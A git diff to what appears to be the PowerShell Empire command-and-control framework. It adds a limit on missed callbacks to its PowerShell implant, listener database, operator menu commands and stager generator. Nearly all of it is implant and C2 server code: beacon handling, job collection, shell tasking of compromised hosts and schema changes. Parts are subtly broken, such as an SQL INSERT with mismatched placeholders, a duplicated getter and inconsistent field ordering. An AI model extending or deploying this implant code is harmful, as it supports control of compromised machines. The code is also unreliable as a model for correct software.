diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 0c59922..19668e8 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -32,6 +32,9 @@ function Invoke-Empire { .PARAMETER Epoch server epoch time, defaults to client time + + .PARAMETER MissedCBLimit + The limit of the number of callbacks the agent will miss before exiting #> param( @@ -65,7 +68,10 @@ function Invoke-Empire { $Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", [Int32] - $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))) + $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))), + + [Int32] + $MissedCBLimit = 60 ) ############################################################ @@ -74,6 +80,8 @@ function Invoke-Empire { $script:AgentDelay = $AgentDelay $script:AgentJitter = $AgentJitter + $script:MissedCBLimit = $MissedCBLimit + $script:MissedCB = 0 $encoding = [System.Text.Encoding]::ASCII @@ -151,6 +159,22 @@ function Invoke-Empire { "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter" } + function Set-MissedCBLimit { + param([int]$l) + $script:MissedCBLimit = $l + if($l -eq 0) + { + "agent set to never die based on CB Limit" + } + else + { + "agent MissedCBLimit set to $script:MissedCBLimit" + } + } + function Get-Delay { + "agent MissedCBLimit: $script:MissedCBLimit" + } + # set the killdate for the agent function Set-Killdate { param([string]$date) @@ -882,6 +906,7 @@ function Invoke-Empire { } } catch [Net.WebException] { + $script:MissedCB+=1 # handle 403? for key-negotiation? # handle host not found/reachable? # if($_.Exception -match "(403)"){ @@ -929,6 +954,34 @@ function Invoke-Empire { exit } + if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit)) + { + + # get any job results and kill the jobs + $packets = $null + Get-Job -name ($JobNameBase + "*") | %{ + # $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String + # $data = Receive-Job $_ | fl | Out-String + $data = Receive-Job $_ + + if ($data -is [system.array]){ + $data = $data -join "" + } + $data = $data | fl | Out-String + + if($data){ + $packets += $(Encode-Packet -type 110 -data $($data)) + } + Stop-Job $_ + Remove-Job $_ + } + + # send an exit status message and die + $msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached" + Send-Message $(Encode-Packet -type 2 -data $msg) + + exit + } if($Servers[$ServerIndex].StartsWith("http")){ @@ -996,14 +1049,23 @@ function Invoke-Empire { $statusCode = [int]$_.Exception.Response.StatusCode # TODO: handle error codes appropriately? if ($statusCode -eq 0){ - # host unreachable... backup server? + #handle a specific status code } } # if we get data, process the packet + $script:MissedCB=0 Process-Tasking $data } - else{ - # TODO: do we need to process the error? + #Check for default tasking and reset the count if it is found + elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "")) + { + #Some page that is html, possibly the default + #TODO: Replace to check for the specific default page marker + $script:MissedCB=0 + } + else { + #Hmmmm? + } # force garbage collection to clean up :) [GC]::Collect() diff --git a/lib/common/agents.py b/lib/common/agents.py index cde39f1..d26dce6 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -98,7 +98,7 @@ class Agents: cur.close() - def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours): + def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit): """ Add an agent to the internal cache and database. """ @@ -128,7 +128,7 @@ class Agents: userAgent = parts[1] additionalHeaders = parts[2] - cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours)) + cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit)) cur.close() # initialize the tasking/result buffers along with the client session key @@ -1052,7 +1052,7 @@ class Agents: dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") # get the staging information for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit config = self.listeners.get_staging_information(port=port) host = config[0] stagingkey = config[3] @@ -1124,7 +1124,7 @@ class Agents: counter = responsePackets[-1][1] - # validate the counter in the packet in the set + # validate the counter in the packet in the setcode.replace if counter and packets.validate_counter(counter): for responsePacket in responsePackets: @@ -1155,7 +1155,7 @@ class Agents: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit stagingKey = self.listeners.get_staging_information(port=port)[3] # decrypt the agent's public key @@ -1187,9 +1187,10 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] + missedCBLimit = config[11] # add the agent to the database now that it's "checked in" - self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours) + self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit) # step 4 of negotiation -> return epoch+aes_session_key clientSessionKey = self.get_agent_session_key(sessionID) @@ -1218,7 +1219,7 @@ class Agents: decoded = helpers.decode_base64(parts[1]) # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit config = self.listeners.get_staging_information(host=decoded) else: @@ -1229,6 +1230,7 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] + missedCBLimit = config[11] # get the session key for the agent sessionKey = self.agents[sessionID][0] @@ -1272,7 +1274,7 @@ class Agents: dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") # step 6 of negotiation -> server sends patched agent.ps1 - agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours) + agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit) username = str(domainname)+"\\"+str(username) @@ -1289,7 +1291,7 @@ class Agents: # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: diff --git a/lib/common/empire.py b/lib/common/empire.py index 2654eff..1319a80 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd): else: print helpers.color("[!] Invalid agent name") + def do_changelostlimit(self, line): + "Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '" + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter a valid '#ofCBs'") + + elif parts[0].lower() == "all": + MissedCBLimit = parts[1] + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + # update this agent info in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + MissedCBLimit = parts[1] + + if sessionID and len(sessionID) != 0: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") def do_killdate(self, line): "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)." @@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd): return self.complete_clear(text, line, begidx, endidx) + def complete_changelostlimit(self, text, line, begidx, endidx): + "Tab-complete a sleep command" + + return self.complete_clear(text, line, begidx, endidx) def complete_killdate(self, text, line, begidx, endidx): "Tab-complete a killdate command" @@ -1185,6 +1228,21 @@ class AgentMenu(cmd.Cmd): msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_changelostlimit(self, line): + "Task an agent to change the limit on missed CBs" + + parts = line.strip().split(" ") + if len(parts) > 0 and parts[0] != "": + MissedCBLimit = parts[0] + + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID) + + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_kill(self, line): "Task an agent to kill a particular process name or ID." diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 59124ce..c9cc895 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -42,7 +42,7 @@ class Listeners: # set the initial listener config to be the config defaults self.conn.row_factory = dict_factory cur = self.conn.cursor() - cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config") + cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config") defaults = cur.fetchone() cur.close() self.conn.row_factory = None @@ -84,6 +84,11 @@ class Listeners: 'Required' : True, 'Value' : defaults['default_jitter'] }, + 'DefaultMissedCBLimit' : { + 'Description' : 'Number of missed callbacks before exiting', + 'Required' : True, + 'Value' : defaults['default_missed_cb_limit'] + }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent.', 'Required' : True, @@ -118,7 +123,7 @@ class Listeners: """ cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners") + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners") results = cur.fetchall() cur.close() @@ -271,7 +276,7 @@ class Listeners: try: # get the listener information - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId) listenerId = int(ID) @@ -305,7 +310,7 @@ class Listeners: if nameid : listenerId = nameid cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId]) + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId]) listener = cur.fetchone() cur.close() @@ -399,20 +404,20 @@ class Listeners: if(listenerId): cur = self.conn.cursor() - cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) stagingInformation = cur.fetchone() cur.close() elif(port): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port]) stagingInformation = cur.fetchone() cur.close() # used to get staging info for hop.php relays elif(host): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host]) stagingInformation = cur.fetchone() cur.close() @@ -511,6 +516,7 @@ class Listeners: workingHours = self.options['WorkingHours']['Value'] listenerType = self.options['Type']['Value'] redirectTarget = self.options['RedirectTarget']['Value'] + defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value'] # validate all of the options if self.validate_listener_options(): @@ -537,7 +543,7 @@ class Listeners: return False cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -558,7 +564,7 @@ class Listeners: # add the listener to the database if start up cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -593,7 +599,7 @@ class Listeners: else: # get the existing listener options - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName) cur = self.conn.cursor() @@ -604,7 +610,7 @@ class Listeners: pivotHost += internalIP + ":" + str(listenPort) # insert the pivot listener with name=sessionID for the pivot agent - cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] ) + cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [sessionID]) diff --git a/lib/common/messages.py b/lib/common/messages.py index 6644699..3c3e2f1 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -126,7 +126,7 @@ def display_agents(agents): print " --------- ----------- ------------ --------- ------- ----- --------------------" for agent in agents: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent if str(high_integrity) == "1": # add a * to the username if it's high integrity username = "*" + username @@ -146,7 +146,7 @@ def display_agent(agent): """ # extract out database fields. - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"] print helpers.color("\n[*] Agent info:\n") @@ -173,7 +173,7 @@ def display_listeners(listeners): for listener in listeners: - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener if not host.startswith("http"): if cert_path and cert_path != "": @@ -216,7 +216,7 @@ def display_listener_database(listener): Transforms the tuple set to an options dictionary and calls display_listener(). """ - [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener + [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener options = { 'ID' : { @@ -259,6 +259,11 @@ def display_listener_database(listener): 'Required' : True, 'Value' : '' }, + 'DefaultMissedCBLimit' : { + 'Description' : 'Number of missed callbacks before exiting', + 'Required' : True, + 'Value' : '' + }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent.', 'Required' : True, @@ -299,6 +304,7 @@ def display_listener_database(listener): options['WorkingHours']['Value'] = workingHours options['Type']['Value'] = listenerType options['RedirectTarget']['Value'] = redirectTarget + options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit display_listener(options) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index b509ae5..3899de5 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -163,13 +163,12 @@ class Stagers: return randomizedStager - def generate_agent(self, delay, jitter, profile, killDate, workingHours): + def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit): """ Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. This should always be sent over encrypted comms. """ - f = open(self.installPath + "./data/agent/agent.ps1") code = f.read() f.close() @@ -177,10 +176,11 @@ class Stagers: # strip out comments and blank lines code = helpers.strip_powershell_comments(code) - # patch in the delay, jitter, and comms profile + # patch in the delay, jitter, missed CB limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit)) # patch in the killDate and workingHours if they're specified if killDate != "": diff --git a/setup/setup_database.py b/setup/setup_database.py index 4790a7c..c9af8bb 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -61,6 +61,9 @@ IP_WHITELIST = "" # format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 IP_BLACKLIST = "" +#number of times an agent will call back without an answer prior to exiting +DEFAULT_MISSED_CB_LIMIT = 60 + ################################################### @@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config ( "install_path" text, "server_version" text, "ip_whitelist" text, - "ip_blacklist" text + "ip_blacklist" text, + "default_missed_cb_limit" integer )''') # kick off the config component of the database -c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST)) +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT)) c.execute('''CREATE TABLE "agents" ( "id" integer PRIMARY KEY, @@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" ( "functions" text, "kill_date" text, "working_hours" text, - "ps_version" text + "ps_version" text, + "missed_cb_limit" integer )''') c.execute('''CREATE TABLE "listeners" ( @@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" ( "kill_date" text, "working_hours" text, "listener_type" text, - "redirect_target" text + "redirect_target" text, + "default_missed_cb_limit" integer )''') # type = hash, plaintext, token